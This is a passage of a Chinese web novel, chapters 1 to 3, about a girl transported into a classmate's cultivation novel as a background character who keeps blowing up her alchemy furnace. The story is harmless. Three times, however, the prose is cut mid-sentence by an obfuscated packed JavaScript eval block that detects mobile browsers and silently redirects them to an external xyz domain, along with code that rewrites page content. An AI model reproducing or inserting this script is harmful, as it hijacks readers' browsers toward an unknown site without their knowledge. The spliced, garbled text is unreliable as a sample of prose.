《路人甲,但团宠》 1. 第一章 “轰隆”一声巨响,丹霞峰的上空宛若平地惊雷,巨大的蘑菇云骤然炸开,过了十息才消散殆尽。 天极宗的众人对此动静早就见怪不怪,唯有一些刚入门没多久的弟子被吓得面色惊惧,有的甚至拿出了法器做出了防御状。 “怎么回事?外敌来犯吗?” 老弟子摆了摆手,示意他们稍安勿躁。 “冷静些,只是一位师妹在炼丹罢了。” “炼丹?动静这么大?师兄莫不是怕引起骚乱故意蒙我们?实不相瞒,我出自丹修世家,还从没有见识过有什么丹药能有这样大的威力。” 其他弟子也附和道:“是啊,我是剑修也劈不出这般阵仗。” 那老弟子本不想多说,毕竟家丑不可外扬,但想着对他们如今已经入门,也是天极宗的弟子了,叹了口气道出实情:“不是炼丹的威力大,是丹炉的威力大。小师妹这是又炸炉了。” “炸炉?!” 他们一个个面面相觑,神情惊疑不定。 丹修的修行本就比寻常修行更加艰难,比起其他修士只需要精进自身,丹修则需要一次又一次灵材的精细配比,灵力的精准掌控,以及对于灵火的炉火纯青,三者缺一不可方能炼制出品质不俗的丹药。 因此炼制失败并不稀奇,唯独天极宗,这个以丹修闻名的天下第五大宗即使有炼制失败的情况,也绝不会有炸炉的——毕竟他们对丹修的选拔最为苛刻。 能进入丹霞峰的一共分为两者,一者是刚才说话的那位出自丹修世家,有着良好基础的丹二代,方可入丹霞峰进修。 二者则是天资出众的,在炼丹一道极为有天赋的弟子。 这两者无论哪一个都不可能干出炸炉的,让天极宗这个丹修大宗颜面扫地的事情的。 可这样的事情还当真在他们眼皮子底下发生了,而且看这些师兄们一副无奈却又见怪不怪的样子,可知这情况已是屡见不鲜。 众新入门弟子,尤其是那个说是出自丹修世家的弟子神情复杂,问道:“敢问师兄,你口中的这个小师妹,也就是师姐,她可是在越阶炼丹?” 丹霞峰有才能的丹修辈出,水平超出同龄人一大截儿,普通的阶品的丹药对他们来说已经没有任何难度了,若是越阶炼制的话出现炸炉也情有可原。 师兄摇了摇头,“小师妹炼制的只是普通的回春丹。” 回春丹,一品丹药,用以固本培元,恢复体力。修真界修士人手必备小药丸儿,累了磕一颗,困了磕一颗,饿了磕一颗,总而言之就是满大街都是,毫无炼制难度。 他不死心道:“难不成师姐是在进行改良?比如增加了可以治愈伤口,增幅修为之类的功能?” 师兄拍拍他的肩膀,一副“接受现实吧”的表情说道:“不要多想孩子,那个回春丹就是再普通不过的回春丹。” 那弟子大受打击,喃喃道:“怎么会如此?我从西洲,跋山涉水,不辞辛苦,在众多族人之中披荆斩棘才得到了外出求学的机会,就是因为敬仰天极宗天下第一丹修大宗的威名,结果你如今告诉我这里的丹修弟子就这个水平……这是诈骗,这是诈骗!” 他一下子激动了起来,一把打掉了那师兄的手,气急败坏道:“这个师我不拜了,我要下山!我要回家!” 说着就要转身驾鹤西去,不,飞去。 “诶,师弟请留步!” 那师兄忙把他从仙鹤的背上给拽下来,“你别那么冲动,你听我说完嘛。” 就是因为料到了告知实情会出现这种情况,他一开始才不想说啊。 他擦了擦额头上不知何时冒出的虚汗,说道:“小师妹的炼丹水平虽差劲儿了点儿,但她是个例外,她一人的水平不代表咱们整个天极宗丹修的水平。我们宗门在修真界尽管只位居五大宗门之尾,可却是实实在在的第一丹修大宗,如假包换,毫不掺水!” “我不听,我不信,要是真如此为什么那种水平的人也能入丹霞峰?” 小师弟捂着耳朵,觉得自己幼小的心灵被狠狠伤害了。 “本来我这次来天极宗求学问道族中长辈就劝过我,让我三思而后行,说如今天极宗已日渐式微,连个天命者都没有,丹霞峰的栖梧尊者更是已大不如前,我还不信。没想到竟是真的,五百年前天下第一大宗的天极宗竟真已沦落至此!” 本身那领队师兄还和颜悦色,耐心劝阻,一听他这样贬低天极宗,也恼了。 “你这小子胡说八道什么?我们天级宗哪儿不行了?哪儿没落了?栖梧尊者也就区区八百岁,八百多岁正是闯的年纪!青云峰,昆吾峰,长白峰,这些大峰最低都有出神境大能镇守,尤其是青云峰峰主余秋离余剑尊,更是当年开山建宗,当今修真界的三大剑尊之一,距离剑仙仅一步之距!你能拜入天极宗你小子就偷着乐吧,没看到那么多人哭着喊着想上山都上不来吗?” “哦还有,谁说我们没有天命者的?你们西洲消息也太落后了,我们去年就有了,还是少有的天生剑骨加天生道体的绝世之才,一点都不比其他四大宗的天命者差!” 青年师兄噼里啪啦一口气说了一大堆,气都不带喘一下,把这些弟子唬得一愣一愣的,那原本想要离开的弟子态度也有了松动。 随即清醒过来,不屑道:“再厉害不还是有一个回春丹都炼制不好还炸炉的弟子。” 青年一噎,回敬道:“小师妹是在炼丹之上没有天赋,可那又怎样?人家老祖宗可是余大剑尊,就算炸一辈子炉也有人护着养着。” 小师弟瞪圆了眼睛,他还是头一次见人把走后门有背景有靠山说得如此理直气壮的。 不过转念一想,对方老祖宗是剑修大能,一般剑修世家都干不了炼丹这种精细活,炸炉好像也正常。 同时他又忍不住吐槽道:“既然是剑修世家就好好练她的剑啊,干什么非要去炼丹?” “因为小师妹不擅剑道。” 小师弟更无语了,“那她不擅炼丹又不擅练剑,擅长什么?” 青年师兄负手而立,遥遥望向蘑菇云诞生的方向,怅然道:“实不相瞒,丹之一道,已是小师妹最擅长的了。” “?” 这什么废物点心? …… 废物点心的余白艰难的从丹炉炸开的废墟中爬出来,浑身上下黑漆麻黑,额前的头发都灵火给燎糊了。 “咳咳,好,好生厉害的丹炉。” “……不,好生厉害的不是丹炉,是你。” 沈宿眠面无表情将身前挡住的炉盖放下,露出了那张清俊无瑕的面容。 他拍了拍身上沾染的炉灰,然后上前一脸嫌弃的把地上的余白给拉起来。 “咳咳,谢谢沈师兄。” 余白踉踉跄跄站了起来,抹了把脸,缓了一会儿后将目光落到沈宿眠身后的幸存的灵材上。 沈宿眠额头青筋抽动,“小师妹,你别告诉我你还要继续?” 余白点头,“我一共准备了五十副回春丹的灵材,还剩最后一副,不练的话可惜了。” 有没有一种可能你练了才可惜? 尽管回春丹是低品丹药,但只要是有点基础的,资质再差最多二十次也能成功,余白四十九次都没成功,可见于丹之一道上实在无缘。 可讽刺的是比上不足比下有余,她在其他道上比丹道还要差劲。 偏偏她又十分努力,这让沈宿眠更不知道该说什么好了。 余白也知道自己这样的失败率太夸张了,尴尬地笑了笑,说道:“沈师兄你放心,毁坏丹霞峰的东西我会原价赔偿的,我别的不多就灵石多,老祖宗这次闭关前给了我好大一笔零花钱呢。” 她拍了拍自己腰间鼓鼓囊囊的芥子囊,那不差钱的傻样看得沈宿眠发笑。 “重点是这个吗?重点是你要是这最后一次还不成的话你要如何?再去准备五十副继续?” 余白还真顺着沈宿眠的话思考了下,然后摇了摇头。 沈宿眠松了口气,正想说还不算太笨,还懂得及时止损。 却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664699|172944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听她说道:“这次还炼不好的话等我跟齐师兄做完宗门任务回来再说吧,回来后我应该就能成功了。” 竟然还死不悔改,还要继续? 沈宿眠深吸了一口气,看着对方一脸认真不似玩笑的样子,伸手戳了下她的额头。 “你这榆木脑袋!炼炼炼,就你这天赋还炼!你钱多的没地儿烧来烧丹炉了是吧……等等,不对劲,你不对劲。” 余白捂着被戳红的额头,委屈巴巴道:“我怎么不对劲了?我发奋图强了还有错吗?” “没错,可你突然发奋图强就有问题了。” 沈宿眠来回踱步了两圈,咂摸出了点儿蹊跷来。 “齐昭那小子前脚要执行宗门任务,你后脚就开始疯狂炼丹。啊我懂了,你是想给他炼丹是吧?” 余白忙否认道:“没有的事。” “呵呵,小师妹啊小师妹,骗骗我可以,别把自己也给骗了。整个天极宗谁人不知谁人不晓你对齐昭一见钟情,情根深种,有他在的地方少了谁都少不了你,自打他入宗以来你就跟他跟屁虫似的,我还以为你是自发勤奋,敢情是为爱图强啊。你真是别、太、爱、了。” 后面那几个字一字一顿,咬牙切齿,一副恨铁不成钢的样子。 余白欲哭无泪,百口莫辩。 不是,她真没有啊! 她之所以最近突然开始炼丹是因为经过一年努力,她的积分刚好攒到了可以炼制一品丹药的程度了而已啊混蛋! 是的,余白不是这个世界的人,而是穿越者。 还是穿书者。 和别的穿越者大多穿的热门小说不同,余白穿的这本小说名叫《平平无奇,天下第一》。 它的作者并不出名,甚至这本书也没有在网上连载或是出版过,因为它是余白的同学所著。 高三学习压力太大,尤其是余白就读的那所市重点中学。正是在这个时候,班上一个男同学拿出了自己呕心沥血,历时三年完成的著作《平平无奇,天下第一》。 不用过多说明,光是看名字也知道这是一本爽文,还是一本集升级打怪收后宫复仇各种要素于一体的成分复杂的爽文。 男主齐昭,有三出众。 一,身份出众,是修真大能和皇族公主的孩子,拥有皇室和仙门双重血脉。 二,天资出众,天生剑骨兼天生道体,是天才中的天才。 三,容貌出众,一张标准的剑眉星目男主脸,引得无数美人芳心暗许。 真真是当之无愧的天之骄子,人生赢家。 他的修行之路也是一帆顺风顺水,于自身,是整个修真界近千年以来唯一一个飞升的剑仙,于宗门,更是以一人之力带领第五宗门天极宗重登天下第一大宗宝座。 他的人生总结出来八个字,正如书名——平平无奇,天下第一。 由此可见这本书并没有什么内涵和深度,毫无逻辑,一切为了打脸打脸,爽而爽。 但对于学习压力太大的高三生而言阅读起来不用脑子,十分解压。 主角够装,剧情够爽,深受男生的喜爱,就连女生们也看得津津有味。在班上,乃至整个年级都风靡一时。 唯有三人持反对意见。 十年书虫的余白:难看。 被意.淫写成后宫之一的班花兼校花:傻吊。 因嫉妒被设定成对照组男配的学神:呵呵。 余白也不过是在对方询问意见的时候委婉的,本着希望他更好的想法实话实说了而已,结果下一秒他直接变如脸,拿起笔在那本著作中加上了她的名字。 然后,高考结束当天她就穿进来了,成为了里面毫无存在感的一个路人甲,还被迫绑定了一个路人甲打卡系统。 高情商:见证主角名场面,记录剧情高光时刻。 低情商:全方位无死角跟拍,被迫成为主角私生。 余白欲哭无泪。 好好好,把她当日本人整是吧。 呜呜,这和摁头喂屎有什么区别? 2. 第二章 尽管余白很郁闷,可为了能够早日打卡完名场面,走完剧情,完成任务回到现实世界,她只能咬咬牙硬着头皮上了。 也正因如此,这一年来自打齐昭拜入天极宗以来,她为了做任务,就像个狗皮膏药一样缠着对方,就算想解释对齐昭没有任何想法都无人相信了。 不过这样的忍辱负重也不是毫无收获,每打卡一个名场面,系统就会根据她打卡的质量给予一定的积分。 这个路人甲打卡系统还可以升级,由低到高一共分为三个等级,路人甲,炮灰,配角。 配角已经是系统的上限了,毕竟谁叫这个世界的唯一主角有了呢,况且她区区一块小饼干哪里担得了主角大任?这不闹着玩吗。 目前,功夫不负有心人,在经过一年的勤奋打卡之下,余白已经攒到了十点积分,在系统商场解锁了炼丹技能,目前只差一点就能独立完成一品丹药回春丹的炼制啦。 真是感天动地,男默女泪。 沈宿眠见余白不说话了,以为是小姑娘被戳破心事脸皮薄,也就没再揪着这个事情不放了。 他问起了另一桩事。 “你们这次揭了什么宗门任务?宗门内的还是宗门外的?” 余白目前修为在练气三层,没错,就是堪堪能够吸收灵力,简单使用一点基础术法,且成功率还不高的程度。 要不是她有个牛蒂轰轰的老祖宗,别说天极宗了,就连普通的中等宗门可能都入不了。 由于她修为有限,在宗门一般做的任务都是给灵田除除杂草,给灵兽喂食梳毛铲屎,又或者是帮那些剑修符修下山采买点保养剑身的精油和符纸符笔,诸如此类这样的杂活。 但齐昭就不同了,他天赋异禀,在没有拜入天极宗之前就跟他父亲齐春秋打坐悟道,三岁就开了道体,六岁就开始修行,十岁更是已入了剑道,十五岁从瀛洲求道于天极宗时修为在筑基三层,经过一年的正统修行现在则已筑基大圆满,只差一步就能突破。 这修行速度别说天极宗,放眼整个修真界都可以称得上一个后生可畏,恐怖如斯。 而宗门有规定,宗门外的任务只有筑基修为的弟子才能揭,很显然余白并不符合这一要求。 余白回答道:“宗门外的。” 沈宿眠眉头轻皱,看着她的目光透着不赞同。 在他训斥的话还没出口之前,余白先发制人堵住了他的嘴。 “只是个初级任务,而且齐师兄也已经答应了。” 沈宿眠冷笑道:“是你死皮赖脸缠着他答应的吧?” 余白一脸正经反驳道:“怎么会?我像是那种没节操的人吗?我和齐师兄是完全的你情我愿,双向奔赴。” 沈宿眠摆摆手,“别说这么恶心的话。” 他虽不赞同余白这么早就下山做任务,可既齐昭已经答应带她,他也不好多说什么,况且齐昭的实力在那,加之余白背靠余秋离,身上不缺保命灵宝,再说只要不是活腻了的,修真界没有谁想要跟这个一步剑仙的大能结仇。 话虽如此,作为师兄沈宿眠也不能全无表示。 沈宿眠从芥子囊里随手取出两瓶丹药扔给了余白,“一些疗伤的丹药,拿着吧,以备不时之需。” “沈师兄你真好!” 余白大为感动,高兴地扑过去,后者惊慌失色,后退避开。 “别过来!一身的灰脏死了!” 恩将仇报把沈宿眠蹭了一身炉灰后,余白拿着丹药心满意足地离开了丹霞峰,回到了青云峰。 青云峰是天极宗,原第一大峰,是的,“原”。 五百年前天极宗最出名的并不是丹道,而是剑道,作为剑修大峰的青云峰在余秋离的带领下,战力惊人,战绩也惊人,是天下剑修心神向往的求学圣地。 只是后来这些老一辈剑修坐化的坐化,战死的战死,后头的小辈们良莠不齐,难堪大任,青云峰便渐渐没落了。 但饶是如此,有余秋离坐镇的青云峰每年依旧有不少修者,不远千里,络绎不绝地拜入天极宗。 资质好的想要碰碰运气,看看自己能不能入得了余秋离的青眼,拜入他的门下。资质一般想着若是能得他一两句指点,也是受益匪浅。 不过这么多年来,前者也好后者也罢,都未有一人有此殊荣。 可不没有吗?因为她那个老祖宗不是在闭关就是在闭关,人都见不到一个何谈收徒指点? 就连余白这个曾曾曾孙女,也只在穿来的时候通过他入她的梦中见了一面。 而且就这匆匆一面还引得系统十分不满,说这种某破苍穹遇到金手指老爷爷的剧情应该是男主的专属,结果被她这个路人甲踩了狗屎运给碰上了,真是岂有此理。 是的,她绑定的这个系统是齐昭毒唯。 不过也是,毕竟是打卡主角名场面的系统,又不是打卡路人甲日常的系统,偏心也是正常的。 余白酸溜溜地想着,心声却不小心被系统读取到了。 [亲爱的宿主,纠正一点,我不是男主毒唯,我只是主角控而已。] 余白翻了个白眼,“有什么区别?” [NONONO,我喜欢齐昭是因为他是整个书中世界最装,最爽,最蒂的气运之子,要是有其他人能够比他更人前显圣,我立刻移情别恋。] 这不还是一样吗? 都气运之子了,谁能牛得过他? 余白不想和系统继续争论这种没有营养的话题,洗漱完躺上床就睡下了。 隔天一早,她是被嘹亮的鸡叫吵醒的。 天极宗有一处小峰,名为鸡鸣峰,里面是饲养各种灵兽的地方,之所以不叫灵兽峰而叫鸡鸣峰是因为峰中有一只百年灵鸡,鸡声嘹亮,中气十足,宛若洪钟。 曾有将一位因走火入魔的弟子叫得痛哭流涕,幡然醒悟,重拾道心的出色战绩。 自此这只灵鸡名声大噪,有了编制,担任每日叫醒弟子的任务,同时大家渐渐的将灵兽峰改唤为了鸡鸣峰,将这只灵鸡取名为鸣人。 因为它不鸣则已一鸣惊人。 神他爹的哪路多。 天知道余白在得知这件事时候的表情有多难绷。 青云峰距离鸡鸣峰最近,每天“鸣人”第一个路过的就是这里。 这不她刚起来,就和窗外路过的羽毛油光水滑金色大鸡撞了个正着。 “鸣人”停在窗边,气沉丹田冲着你大叫。 “咯咯哒咯咯哒!” 余白捂着耳朵,觉得耳膜都要震碎了,一脸的痛苦面具。 “别催了别催了,我这不是已经起来了吗?” “咯咯哒!” “上次那是意外,我御剑时候不小心摔了!这次我一定按时到练剑台!” “鸣人”得了余白的保证后这才倨傲地点了点头,昂首挺胸,继续挨家挨户叫人了。 余白远远还能听到它的叫声,揉了揉发疼的耳朵,吐槽道:“不是说干一行恨一行吗,它怎么数十年如一日越干越精神越干越爱了?” [它这不叫爱叫得瑟。谁叫整个鸡鸣峰就出了这么一个大学生呢,有编制该它拽。] 系统的吐槽永远这么犀利。 余白叹了口气,本来她是一个很爱睡懒觉和懒床的人,有了“鸣人”天天这么扯着嗓子叫,她哪里还睡得着?没吓出个心脏病那都是她体质好。 她认命地起床,套好天极宗弟子统一发放的蓝白双色道袍。 道袍整体没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“随便拿极品灵玉送人也是真的吗?天,师姐看看我,我剑器双修,穷得裤衩子都没了,要是下次还有不要的灵玉就给我吧,就当喂鸡了,咯咯哒咯咯哒!” “别说,小师妹还真拿宝贝喂过鸡,就今天早晨一大早就叫魂的那只灵鸡。有一次小师妹实在太困了起不来,就抓了一把百年灵虫塞它嘴里,它一下子就不叫了。” “……?!可恶,师姐别喂鸡了喂我!咯咯哒咯咯哒!” “我才是鸡!喂我喂我!咯咯哒咯咯哒!” 赵况,也就是昨日从西洲来的那个丹修弟子看着众人一副变如脸的样子大感失望。 “你们就这么轻易被她收买了吗?不,她甚至都还没来得及收买你们这群家伙就骨头软了!就算她有灵宝无数又如何?那又不是她的东西,那是余剑尊的!她这样肆意挥霍剑尊的灵宝简直暴殄天物,岂有此理!” 少年叉着腰义愤填膺地输出着,丝毫没有觉察到众人前一秒还热火朝天地争抢着谁当鸡,后一秒不知怎么骤然安静了下来。 “你们怎么不说话了?哦,是不是觉得我说得很对,幡然醒悟,感到无地自容了……?!谁!” 背后突然被人戳了下,他猛地回头,对上了一双剔透漂亮的杏眼。 余白拿出一本手札,慢吞吞说道:“师弟,这个给你,消消气。” “这是什么?” “丹霞峰栖梧真人首席大弟子沈宿眠沈师兄总结的炼丹要意,借给你看,要吗?” 赵况懵逼,赵况恍惚,赵况被天上掉下来的馅儿饼砸得头晕眼花。 他激动地一把抓住了余白的手。 “谢谢师姐!师姐真好!咯咯哒!” “……” 3. 第三章 空气静默了一瞬,随即如水入热油一样炸开。 “呔,阴险小人,说得那么正义凛然,其实这只是你吸引师姐的手段吧!” “师姐看看我,我也是丹修,我也需要沈师兄的手札!” “师姐,我的剑这个豁口已经十年了,你有没有什么多余的灵石借给我我去修修!没灵石给我剑也好,余剑尊的洞府最不缺的就是剑吧,你随便拿一把剑给我就成,我不挑!” 余白被众人的热情吓了一大跳,那个剑修弟子更是力壮如牛把前面的人墙撞开冲到了她的面前。 她心下一惊,往后退了一步,一个踉跄差点儿摔了个狗吃屎。 好在身后一只宽大温暖的手撑住了她。 “师妹,你没事吧?” 余白都不用回头看,光是听到脑子里激动的发出鸡叫的毒唯系统就知道来人了。 男主齐昭,本文日天日地的龙傲天本天。 余白赶紧站稳,朝着齐昭道谢,“多谢齐师兄。” 齐昭点头,“没事就好。” 然后对着一众弟子说道:“你们这是在干什么?我怎么不知道堂堂天极宗什么时候变成聚众乞讨的地方了?” 齐昭生了一张正义凛然的脸,眉目俊朗,又因出身显赫,天赋异禀,身上比之同龄人多了几分沉稳和贵气。 他那双墨玉剔透的眸子直勾勾扫视了他们一圈,他们一下子噤若寒蝉,安静如鸡。 [好帅好帅!这就是传说中的王霸之气吗?不愧是男主,一个眼神就把他们震慑住了,简直帅裂苍穹!] 余白自动无视了系统每日花痴,看着大家被吓得大气都不敢出的样子,温声说道:“齐师兄,他们只是太热情了而已,并不是有意冒犯我的。对吧?” 她对着最近的一个弟子眨了眨眼睛,他也上道,立刻顺着余白给的台阶就下了。 “对对对,我们是新入门的弟子,早在之前就听闻余师姐是那位鼎鼎有名的剑尊的后人,心之往之,乍一见到真人实在太过激动,这才言语冒犯失了态,还望余师姐,齐师兄见谅,原谅我们这一回。” 说着朝着余白就是一个九十度弯腰的大动作。 后面的弟子们慢了半拍,然后也跟着一起鞠躬道歉,又给余白吓了一大跳。 “没事没事,说开了就好,你们赶紧起来!” 但他们依旧没动。 余白意识到了什么,为难看向一旁眉眼严肃的少年。 “齐师兄。” 齐昭这才开口,“下不为例。” 他们松了口气,齐声道:“多谢师兄,多谢师姐。” 众人同余白道完歉后,跟老鼠见了猫似的远远离开了。 看似各自在晨练,实际上眼神时不时往她们这边看,隐约还有几个胆子大的弟子在向旁边的师兄师姐们打听。 “师兄,那位齐师兄是不是就是咱们宗门唯一的那位?” “没错,就是那位。” “什么那位这位的,你们在打什么哑迷啊?那个师兄到底什么来头,刚才都没释放灵压,光是站在那里就压迫感满满。嘶,上一次我有这种感觉还是面对我家老头子的时候。” “你自己打小差漏听了这么重要的信息还怪我们没说清楚?昨天师兄带我们熟悉宗门的时候不是就着重介绍过这位齐师兄吗,天生道体,天生剑骨,咱们宗门百年来唯一的天命修者!” “?!我嘞个天道,竟然是他!那就怪不得了,气势之强,小小年纪就一把年纪了。” 他们自以为讨论的声音不算大,然而在系统扩音之下,全部一字不漏传进了她的耳朵里。 天命者,指的是在修真界中拥有两种及其以上绝顶天赋的修者,这样天才中的天才生来命格不凡,受天道偏爱,因此才得此称号。 比如齐昭便是如此。 天命者可遇不可求,即使是五大宗门中的第一仙宗玉京也只有三个天命者,其余的多是两个甚至一个,天极宗更是空窗了百年,盼星星盼月亮才等来了齐昭这一位独苗苗。 [也是最强的天命者!等到剧情后面男主过五关斩六将,将所有的天命者或打败或收入后宫,再随随便便拯救一下苍生,就可以问鼎修真,剑指苍穹,得道飞升了!吼吼吼!太爽了,一想到可以亲自打卡这么多名场面,本统激动得都要短路了!] 知道了知道了,知道你的男主多么酷炫霸气拽了,不用每天都重复个百八十遍,耳朵都要听出茧子了。 余白合理怀疑她绑定的这个系统本体不是系统,而是某个喜爱这本无脑爽文小说的狂热读者。 但吐槽归吐槽,这一年她打卡的齐昭的那些名场面的确挺帅的。 什么宗门选拔一骑绝尘,仅花不过一时辰就登完了普通弟子三日走完的天梯,什么内门比试一人独挑众人,且毫发无损,什么在同时段入宗门的弟子们还在磕磕绊绊摸索筑基,他早已悟出只有临近金丹的修者才能悟出的道意…… 本身这种桥段,当初余白看的时候可能因为剧情俗套加上那位男同学的笔力不够,描写太尬,她只觉得脚趾扣地,尴尬至极,结果真亲眼瞧见了好像也还好。 大约是因为齐昭和那些日天日地的龙傲天不大一样,尽管有着出众的天赋和身世,待人接物却谦虚有礼,不会过分逞能出头,是在他能力范围内理所当然的名场面。 怎么说呢,大概就是装得自然,不油腻。 这让一开始抱着要被摁头吃屎的余白大松一口气,也没那么排斥打卡了。 不过有一说一,齐昭的名场面帅归帅,但就是没多爽,总是前期礼让礼让再礼让,藏拙藏拙再藏拙,除非逼不得已,或是对方触犯了他的底线他才会真的动手,且下手也不会太狠,余白每次打卡的时候总觉得不上不下,不够痛快。 系统却说这毕竟才是剧情前期,先抑后扬,要是现在一下子就把爽度值拉到顶了,后面就很难爽起来了。 行吧,作为齐昭毒唯的系统,齐昭这个男主做什么都有道理,哪怕放个屁系统估计都要夸一句气味悠长,不同凡响。 “师妹?余师妹?” “啊,怎么了师兄?你说。” 齐昭看着一脸乖巧的少女,耐着性子将她走神时候没听到的话重复了一遍。 “是关于这次宗门外的任务的事情,虽然我答应了带你下山去见见世面,但外面毕竟不像宗门那么安全,我怕我一人没办法护你周全,以防万一,所以邀请了雪师姐同我们一起。” 余白对此一点都不意外,因为这次要打卡名场面的主角一个是齐昭,另一个便是雪明霜了。 雪明霜是天极宗四大长老之一雪梅见的千金,也是男主的第一位后宫。 原剧情里这次去做任务的只有雪明霜和齐昭两人,并没有余白这个路人甲什么事,当然,她这次去了也只是打卡记录的作用,也没多少存在感。 按照系统发布的任务,她打卡的名场面有两个,一是男主英雄救美,俘获芳心。 二是任务途中突逢变故,男主被逼绝境,突破瓶颈。 因此雪明霜的存在必不可少。 她原本都想着临出发前主动去邀请雪明霜了,没想到齐昭先去了,这倒是省了她的事。 “好啊好啊,雪师姐的实力那么强,她能来我求之不得呢。” 齐昭摸了下她的头,“不要妄自菲薄,只要师妹努力修行的话也能变得和雪师姐一样厉害的。” 嗯?谁妄自菲薄了? 余白眨了眨眼,“好的师兄,我会努力的。” 齐昭斟酌了下语句,想起刚才的事情还是提醒道:“还有师妹,我知道师妹心地善良,看到谁有需要就总想着帮一把。但有些人懂得感恩,有些人却不尽然,甚至会把你的好意当成理所当然,索求无度。你明白我的意思吗?” 这道理余白当然明白,但是她之所以这么大方,一来是这些东西她好多都用不到,与其放在自己这里积灰,不如给真正需要的同门们。 二来她也不是真的傻白甜,给东西的对象都是精心筛选,真正品行端正且需要帮助的人。 余白也没过多解释,点了点头,“多谢师兄提醒,我都明白的。” 齐昭看少女眼神清明,神情通透,便知是真的听进去了。 “好了,去晨练吧。” 练剑台很大,刀修剑修和体修最是勤勉,每日鸣人没叫就跑来了,因此他们占据在练剑台的最中心地带。 其他的地方则零零散散分布着其他弟子。 四方阵眼晨练的则是万灵峰的法修,因为那边的灵力最易聚集,乐修则要随便的多,只要手上拿着法器在哪儿都能即兴弹奏一曲。 医修和丹修一月就来这里锻炼个两三回,其余时间都窝在长白峰和丹霞峰上自行修行。 余白扫了扫周围,很快就找到了组织。 远处占据最好视野,纵览群峰的几位师兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664701|172944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师姐们正酝酿情绪,吐纳聚灵,正要提笔挥毫之际,余光瞥见一抹熟悉的灵动身影窜了过来,吓得手一抖,灵力外泄,“咔嚓”一下一道符箓就这样毁了。 “云师姐,柳师兄,早上好呀。” 云茯苓捏着自己毁掉的符箓,深吸了一口气,皮笑肉不笑看着余白。 “小师妹,我说过多少次了,晨练的时候不要过来坏我心境,你是全当耳旁风了是吗?” 余白委屈巴巴道:“可是云师姐,整个练剑台就这里视野最开阔,灵感最好,在别的地方我画出来的作品总差点儿意思。” 一旁的柳韫外出游历刚回来,和余白接触过几次,觉得她虽背靠余秋离这座大靠山,却不像其他仙二代那样傲慢无礼,反而十分礼貌懂事,对她印象颇好。 柳韫皱了皱眉,觉得自家师妹好生霸道,这练剑台是大家的,又不是她一个人的,况且这里还有这么多地儿空着,怎么就容不下一个小师妹了。 于是他不满地瞪了云茯苓一眼,然后笑着朝余白招了招手。 “小师妹别搭理她,她这段时间一直画不出这道破阵符,火气大着呢。来,到师兄这边来,师兄这边位置大,你躺着都行。” 余白一听开心地噔噔噔就跑过去了。 “谢谢柳师兄。” 她跑到柳韫身旁,拿出一看就价值不菲,品阶颇高的金色灵笔和一堆厚厚的装订成册的未曾裁剪的上乘符纸。 柳韫眼睛一下子红了,好家伙,不愧是余前辈的后代,不说那根灵力逼人的极品灵笔,光是这些符纸一张少说也得五六块灵石。 余白感受到了他灼灼的目光,看了看自己的符纸,又看了看对方手上毛糙的便宜货,然后随便扯了几张递过去。 “给,给我的?” “嗯,师兄应该需要。” 柳韫的红眼睛瞬间感动得泪眼汪汪,随即忸怩道:“小师妹,这多不好意思。” “呵呵,不好意思有本事别要啊?” “你懂什么?这是小师妹的一片心意,我怎么能不收?” 柳韫只当云茯苓是嫉妒,喜笑颜开接过材质上佳的符纸,将它们放到了芥子囊。 开玩笑,这种好东西怎么能拿来练习呢? 作为师兄,柳韫也不能白要余白的好处,不是他自吹,在符之一道整个天极宗除了他师尊了然真人,也就只有自家师妹云茯苓的天赋能和他一较高下了。 稍微指点余白一番绰绰有余。 余白捏着笔作思考状,发现柳韫背着手一直站在她身后盯着她,一脸莫名。 难不成还想要符纸吗? 柳韫以为她迟迟不落笔是紧张,微笑鼓励道:“没事,我就是想看看师妹目前的水平如何,随便画一张给师兄看看就成。” 哦,这是想指点我啊。 余白微微颔首,提笔,运气,没有他想象中的迟疑顿涩,洋洋洒洒,一气呵成地画了出来。 “柳师兄,我画好了。” 她将画好的符纸双手呈上,眼睛亮晶晶的,一脸期待看着他。 “还请你不吝赐教。” 柳韫没想到她画得这么顺畅,愣了下,然后接过一看。 只见符纸上的线条歪歪斜斜,糊成一团,像一个饼,一个铜钱,反正不像个符。 他沉默了许久,左看右看,上看下看,远看近看,都看不出这是个什么玩意儿。 “呃,那个师妹,你这画的这是什么?” 余白疑惑歪头:“师兄看不出来吗?” “师兄眼拙,一时半会儿的确有点辨认不出……难道是师妹你的自创符箓?” 余白叹了口气。 “师兄,这不是符,这是画。画和符这么大的区别,你竟然都看不出来,还是宗门第一符修呢,师兄,我对你很失望。” “画?!” 你说这鬼画桃符的不是符是画?! 还有,你还对我失望起来了!该失望的是我吧!谁叫你这么画符的…… 嗯等等? 画? 电光火石之间,柳韫意识到了什么瞳孔一缩,猛地回头看向从刚才他说要指点余白,就抱着手臂,一脸嗤笑的云茯苓。 “蠢货,现在才反应过来吗?” 云茯苓红唇微启,语气讥讽,“这家伙不是符修,是画修。” 